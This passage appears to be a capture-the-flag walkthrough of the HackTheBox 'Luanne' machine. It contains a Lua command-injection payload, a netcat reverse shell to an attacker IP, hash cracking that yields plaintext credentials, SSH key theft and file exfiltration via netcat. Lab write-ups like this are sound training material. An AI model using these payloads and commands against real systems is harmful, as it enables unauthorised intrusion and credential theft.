found robots.txt file > this file tells the crawlers not to consider the paths inside it..
found this /weather
so now let’s see what’s over there..
i also ran dirsearch again on the luanne.htb/weather » but got nothing.
then i tried to search with the CVEs about nginx with version 1.9.0 and openssh but nothing usefull. so i turned back to enumeration.
This time using a bigger wordlist and gobuster.
Gobuster:
gobuster dir -u http://luanne.htb/weather -w /usr/share/dirb/wordlists/big.txt
found this /forecast path
we could have used dirsearch too, but gobuster is faster in this case with bigger wordlists.
Time for Web Enumeration:
going to /weather/forecast:
it says go to city=list » so let’s see /weather/forecast?city=list
nothing really usefull.
when tried single quote' in the query, we got a lua error .. so now we knew that the backend language is lua.
Lua error: /usr/local/webapi/weather.lua:49: attempt to call a nil value
now we have to fix the query so we could try command injection
after some tries this » ')-- makes the query right (– to comment in lua)
so now if we made a command within it ')os.execute('command')-- > it works
Gaining Access:
of course it’s time to put regular reverse shell payload os.execute('nc 10.10.x.x PORT -e /bin/bash') and open our netcat .. but it didn’t work..
it’s time for searching around:
if you noticed earlier from nmap (the os is NetBSD) so maybe we should try netbsd reverse shell payloadnetbsd payload
now we need to combine both of those to make our payload
let’s list what in there » and we found some credential / hash
Cracking the hash using john:
put the hash inside file and run john on it using rockyou.txt wordlist
The creds » webapi_user:iamthebest .. or type $john --show hash
now lets login with these creds:
nothing useful in there…
let’s keep digging:
netstat -ant to check network connections
nc 127.0.0.1 3001 to listen on the server
lets try curl:
also unauthorized
so lets try using our creds »
curl --user :iamthebest http://127.0.0.1:3001
it worked fine .. now thinking of using this
we ’ve got one user on the system called r.michaelstrying to get ssh keys from .ssh/id_rsatrying to get user.txtand finally getting ssh keys from michaels home
copy and save them to a file and chmod 400 id_rsa
ssh -i id_rsa r.michaels@luanne.htb
Privilege Escalation / Rooting:
from the first sight » this backed up file devel_backup-2020-09-16.tar.gz.enc is catchy
i took some time to crack its encoding .. then i thought of roaming around maybe it’s not the solution .. i used LinPEAS.sh to search around
.. then i came back to it .. so i’ll short it down for u and be straight forward in this …
you can transfer the file on your machine to work on it like this:
On your server (A):
nc -l -p 1234-q 1> something.zip </dev/null
On your "sender client" (B):
cat something.zip | nc server.ip.here 1234
found these files and their extention so i thought they are related and searched on ’em:
as u can see it seems that our backup file was encrypted using this ’netpgp’ tool .. earlier i tried decompressing using openssl but it needed password.
which netpgp » gives its location ‘/usr/bin/netpgp’ » so we could use it to crack our file.
